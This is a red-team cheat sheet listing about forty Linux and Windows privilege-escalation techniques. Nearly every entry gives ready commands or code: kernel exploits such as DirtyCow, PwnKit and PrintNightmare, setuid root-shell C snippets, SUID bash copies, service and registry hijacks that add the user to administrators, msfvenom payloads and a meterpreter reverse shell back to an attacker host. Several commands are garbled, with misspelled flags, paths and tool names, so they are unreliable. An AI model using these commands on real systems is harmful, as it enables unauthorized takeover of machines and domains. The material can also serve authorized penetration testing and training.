40 Methods For Privilege Escalation

redteamrecipe.com/40-method-for-privilege-escalation

Reza Rashidi

DirtyC0w

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods:

1. gcc -pthread c0w.c -o c0w; ./c0w; passwd; id

CVE-2016-1531

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods:

1. CVE-2016-1531.sh;id

Polkit

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods:

1.

github.com/secnigma/CVE-2021-3560-Polkit-Pr..

2.

poc.sh

DirtyPipe

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods:

1.

./traitor-amd64 --exploit kernel:CVE-2022-0847

2.

Whoami;id

PwnKit

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods:

1.

./cve-2021-4034

2.

Whoami;id

ms14_058

Domain: No

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

msf > use exploit/windows/local/ms14_058_track_popup_menu

msf exploit(ms14_058_track_popup_menu) > set TARGET \< target-id >

msf exploit(ms14_058_track_popup_menu) > exploit

Hot Potato

Domain: No

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

In command prompt type: powershell.exe -nop -ep bypass

2.

In Power Shell prompt type: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1

3.

In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command \"net localgroup

administrators user /add\"

4.

To confirm that the attack was successful, in Power Shell prompt type:

net localgroup administrators

Intel SYSRET

Domain: No

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

execute -H -f sysret.exe -a \"-pid [pid]"

PrintNightmare

Domain: Yes

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

github.com/outflanknl/PrintNightmare

2.

PrintNightmare 10.10.10.10 exp.dll

Folina

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

github.com/JohnHammond/msdt-follina

2.

python3 follina.py -c \"notepad\"

ALPC

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

github.com/riparino/Task_Scheduler_ALPC

RemotePotato0

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user

2.

.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1

CVE-2022-26923

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

certipy req \'lab.local/cve$:CVEPassword1234*\@10.100.10.13\' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA

2.

Rubeus.exe asktgt /user:\"TARGET_SAMNAME\" /certificate:cert.pfx /password:\"CERTIFICATE_PASSWORD\" /domain:\"FQDN_DOMAIN\" /dc:\"DOMAIN_CONTROLLER\" /show

MS14-068

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

python ms14-068.py -u user-a-1\@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc

Sudo LD_PRELOAD

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:

#include \

#include \

#include \

1. void _init() {

unsetenv(\"LD_PRELOAD\");

setgid(0);

setuid(0);

system(\"/bin/bash\");

}

2.

gcc -fPIC -shared -o /tmp/ldreload.so ldreload.c -nostartfiles

3.

sudo LD_RELOAD=tmp/ldreload.so apache2

4.

id

Abusing File Permission via SUID Binaries - .so injection)

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:

1.

Mkdir /home/user/.config

2.

#include \

#include \

static void inject() _attribute _((constructor));

void inject() {

system(\"cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p\");

}

3.

gcc -shared -o /home/user/.config/libcalc.so -fPIC/home/user/.config/libcalc.c

4.

/usr/local/bin/suid-so

5.

id

DLL Injection

Domain: No

Local Admin: Yes

OS: Windows

Type: Injection

Methods:

1.

RemoteDLLInjector64

Or

MemJect

Or

github.com/tomcarver16/BOF-DLL-Inject

2.

#define PROCESS_NAME \"csgo.exe\"

Or

RemoteDLLInjector64.exe pid C:\runforpriv.dll

Or

mandllinjection ./runforpriv.dll pid

Early Bird Injection

Domain: No

Local Admin: Yes

OS: Windows

Type: Injection

Methods:

1.

hollow svchost.exe pop.bin

Process Injection through Memory Section

Domain: No

Local Admin: Yes

OS: Windows

Type: Injection

Methods:

1.

sec-shinject PID /path/to/bin

Abusing Scheduled Tasks via Cron Path Overwrite

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Scheduled Tasks

Methods:

1. echo \'cp /bin/bash /tmp/bash; chmod +s /tmp/bash\' >

   > systemupdate.sh;

2. chmod +x systemupdate.sh
3. Wait a while
4. /tmp/bash -p
5. id && whoami

Abusing Scheduled Tasks via Cron Wildcards

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Scheduled Tasks

Methods:

1. echo \'cp /bin/bash /tmp/bash; chmod +s /tmp/bash\' >

   > /home/user/systemupdate.sh;

2. touch /home/user/ --checkpoint=1;
3. touch /home/user/ --checkpoint-action=exec=sh\systemupdate.sh
4. Wait a while
5. /tmp/bash -p
6. id && whoami

Abusing File Permission via SUID Binaries - Symlink)

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing File Permission

Methods:

1.

su - www-data;

2.

nginxed-root.sh /var/log/nginx/error.log;

3.

In root user

invoke-rc.d nginx rotate >/dev/null 2>&1

Abusing File Permission via SUID Binaries - Environment Variables #1)

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing File Permission

Methods:

1.

echo \'int main() { setgid(0); setuid(0); system(\"/bin/bash\"); return 0; }\' >/tmp/service.c;

2.

gcc /tmp/services.c -o /tmp/service;

3.

export PATH=/tmp:$PATH;

4.

/usr/local/bin/sudi-env; id

Abusing File Permission via SUID Binaries - Environment Variables #2)

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing File Permission

Methods:

1.

env -i SHELLOPTS=xtrace PS4=\'$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +S /tmp/bash)\' /bin/sh -c /usr/local/bin/suid-env2; set +x; /tmp/bash -p\'

DLL Hijacking

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

Windows_dll.c:

cmd.exe /k net localgroup administrators user /add

2.

x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll

3.

sc stop dllsvc & sc start dllsvc

Abusing Services via binPath

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

sc config daclsvc binpath= \"net localgroup administrators user /add\"

2.

sc start daclsvc

Abusing Services via Unquoted Path

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

msfvenom -p windows/exec CMD=\'net localgroup administrators user /add\' -f exe-service -o

common.exe

2.

Place common.exe in 'C:\Program Files\Unquoted Path Service'.

3.

sc start unquotedsvc

Abusing Services via Registry

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t

REG_EXPAND_SZ /d c:\temp\x.exe /f

2.

sc start regsvc

Abusing Services via Executable File

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

copy /y c:\Temp\x.exe \"c:\Program Files\File Permissions Service\filepermservice.exe\"

2.

sc start filepermsvc

Abusing Services via Autorun

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

In Metasploit (msf > prompt) type: use multi/handler

In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp

In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]

In Metasploit (msf > prompt) type: run

Open an additional command prompt and type:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o

program.exe

2.

Place program.exe in 'C:\Program Files\Autorun Program'.

Abusing Services via AlwaysInstallElevated

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

msfvenom -p windows/exec CMD=\'net localgroup

administrators user /add\' -f msi-nouac -o setup.msi

2.

msiexec /quiet /qn /i C:\Temp\setup.msi

Or

SharpUp.exe AlwaysInstallElevated

Abusing Services via SeCreateToken

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

.load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

2.

!rmpriv

Abusing Services via SeDebug

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

Conjure-LSASS

Or

syscall_enable_priv 20

Remote Process via Syscalls (HellsGate|HalosGate)

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

injectEtwBypass pid

Escalate With DuplicateTokenEx

Domain: Yes

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

PrimaryTokenTheft.exe pid

Or

TokenPlaye.exe --impersonate --pid pid

Abusing Services via SeIncreaseBasePriority

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

start /realtime SomeCpuIntensiveApp.exe

Abusing Services via SeManageVolume

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

Just only compile and run SeManageVolumeAbuse

Abusing Services via SeRelabel

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

WRITE_OWNER access to a resource, including files and folders.

2.

Run for privilege escalation

Abusing Services via SeRestore

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1. Launch PowerShell/ISE with the SeRestore privilege present.

2. Enable the privilege with Enable-SeRestorePrivilege).

3. Rename utilman.exe to utilman.old

4. Rename cmd.exe to utilman.exe

5. Lock the console and press Win+U

Abuse via SeBackup

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic

In Metasploit (msf > prompt) type: set uripath x

In Metasploit (msf > prompt) type: run

2.

In taskmgr and right-click on the "iexplore.exe" in the "Image Name" column

and select "Create Dump File" from the popup menu.

3.

strings /root/Desktop/iexplore.DMP | grep \"Authorization: Basic\"

Select the Copy the Base64 encoded string.

In command prompt type: echo -ne [Base64 String] | base64 -d

Abusing via SeCreatePagefile

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

HIBR2BIN /PLATFORM X64 /MAJOR 6 /MINOR 1 /INPUT hiberfil.sys /OUTPUT uncompressed.bin

Abusing via SeSystemEnvironment

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

.load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

2.

TrustExec.exe -m exec -c \"whoami /priv\" -f

Abusing via SeTakeOwnership

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1. takeown.exe /f \"%windir%\system32\"

2. icalcs.exe \"%windir%\system32\" /grant \"%username%\":F

3. Rename cmd.exe to utilman.exe

4. Lock the console and press Win+U

Abusing via SeTcb

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

PSBits

Or

PrivFu

2.

psexec.exe -i -s -d cmd.exe

Abusing via SeTrustedCredManAccess

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

.load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

Or

CredManBOF

2.

TrustExec.exe -m exec -c \"whoami /priv\" -f